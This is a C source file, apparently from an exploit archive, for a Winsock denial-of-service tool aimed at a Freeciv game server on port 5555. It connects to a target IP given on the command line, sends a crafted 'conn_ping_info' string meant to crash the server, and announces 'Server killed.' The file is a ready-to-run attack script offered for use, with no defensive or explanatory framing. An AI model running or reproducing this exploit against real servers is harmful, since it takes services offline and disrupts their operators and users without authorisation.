./c0de/c/freedos.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
#include <stdio.h>
#include <string.h>
#include <winsock.h>
 
#define DEFAULT_PORT 5555                //freeciv port
 
int startWinsock();
 
int main(int argc, char **argv)
{
  struct sockaddr_in target;             //declare struct
  int sox, check_send;
  char *foo, buffer[41];
 
  memset(buffer, '\0', sizeof(buffer));
  foo = (char*) malloc (44);
 
  if(argc != 2)
  {
    printf("Usage: %s <server IP>", argv[0]); //check if correct arugments are passed
    return -1;
  }
 
  printf("\nUsing Server IP: %s\n", argv[1]);
 
  if(startWinsock() == -1)                    //call function startWinsock()
  {
    printf("\nUnable to start Winsock.\n");
    return -1;
  }
 
  sox = socket(AF_INET, SOCK_STREAM, 0);  //get socket descriptor
 
  if(sox == -1)                           //check socket descriptor
  {
    printf("\nError opening socket.\n\n");
    printf("Exiting...");
    WSACleanup();
    return -1;     
  }
 
  target.sin_family = AF_INET;
  target.sin_addr.s_addr = inet_addr(argv[1]);
  memset(&(target.sin_zero), '\0', 8);
  target.sin_port = htons(DEFAULT_PORT);
 
  if(connect(sox, (struct sockaddr *)&target, sizeof(struct sockaddr)) != 0)
  {
    printf("Error: %s is offline.\n", argv[1]);     //try to connect to port
    WSACleanup();                                   //if not it's offline
    return -1;
  }
 
  foo = "@+2.0 conn_ping_info username_info-beta8";
  strcpy(buffer, foo);
 
  printf("Sending DoS string...\n");
 
  if(check_send = send(sox, buffer, sizeof(buffer), 0) == -1)
  {
    printf("\nError sending string...aborting...\n");
    closesocket(sox);
    WSACleanup();
    return -1;
  }
 
  printf("\nAttack Successful. Server killed.\n\n");
 
  closesocket(sox);                                //close socket
  WSACleanup();                                    //clean up winsock
  return 0;           
}
 
int startWinsock()
{
  WSADATA wsaData;       
  if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0)   //make call to WSAStartup
  {
    return -1;                                    //if fails, return with errors
  }
  printf("Winsock started...\n\n");              //else winsock is started
  return 0;
}

Back